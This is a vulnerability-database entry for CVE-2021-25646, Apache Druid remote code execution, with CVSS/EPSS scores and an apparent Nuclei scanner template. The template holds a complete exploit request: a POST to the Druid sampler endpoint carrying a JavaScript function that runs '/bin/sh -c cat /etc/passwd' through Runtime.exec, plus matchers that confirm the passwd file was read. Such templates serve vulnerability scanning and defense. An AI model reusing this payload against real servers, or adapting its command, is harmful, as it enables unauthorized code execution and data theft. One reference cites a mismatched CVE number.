8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.5 High
AI Score
Confidence
High
9 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
0.973 High
EPSS
Percentile
99.9%
Apache Druid is susceptible to remote code execution because by default it lacks authorization and authentication. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
id: CVE-2021-25646
info:
name: Apache Druid - Remote Code Execution
author: pikpikcu
severity: high
description: |
Apache Druid is susceptible to remote code execution because by default it lacks authorization and authentication. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Apply the latest security patches or upgrade to a patched version of Apache Druid.
reference:
- https://paper.seebug.org/1476/
- https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E
- http://www.openwall.com/lists/oss-security/2021/01/29/6
- https://lists.apache.org/thread.html/r64431c2b97209f566b5dff92415e7afba0ed3bfab4695ebaa8a62e5d@%3Cdev.druid.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2021-25864
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-25646
cwe-id: CWE-732
epss-score: 0.97323
epss-percentile: 0.99871
cpe: cpe:2.3:a:apache:druid:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: druid
tags: cve2021,cve,apache,rce,druid
http:
- raw:
- |
POST /druid/indexer/v1/sampler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"odgjxrrrePz",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "numRowsRead"
- "numRowsIndexed"
condition: and
- type: word
part: header
words:
- "application/json"
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a0046304402200fb9d98df795d9808e6862bf4bd9bcb07827c6485050f18ef70a560a6f72c59202206fcce136e7f27d758cba9d444d64704b998c3469b1ee42efdd81942157b76359:922c64590222798bb761d5b6d8e72950
www.openwall.com/lists/oss-security/2021/01/29/6
lists.apache.org/thread.html/r64431c2b97209f566b5dff92415e7afba0ed3bfab4695ebaa8a62e5d@%3Cdev.druid.apache.org%3E
lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E
nvd.nist.gov/vuln/detail/CVE-2021-25864
paper.seebug.org/1476/
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.5 High
AI Score
Confidence
High
9 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
0.973 High
EPSS
Percentile
99.9%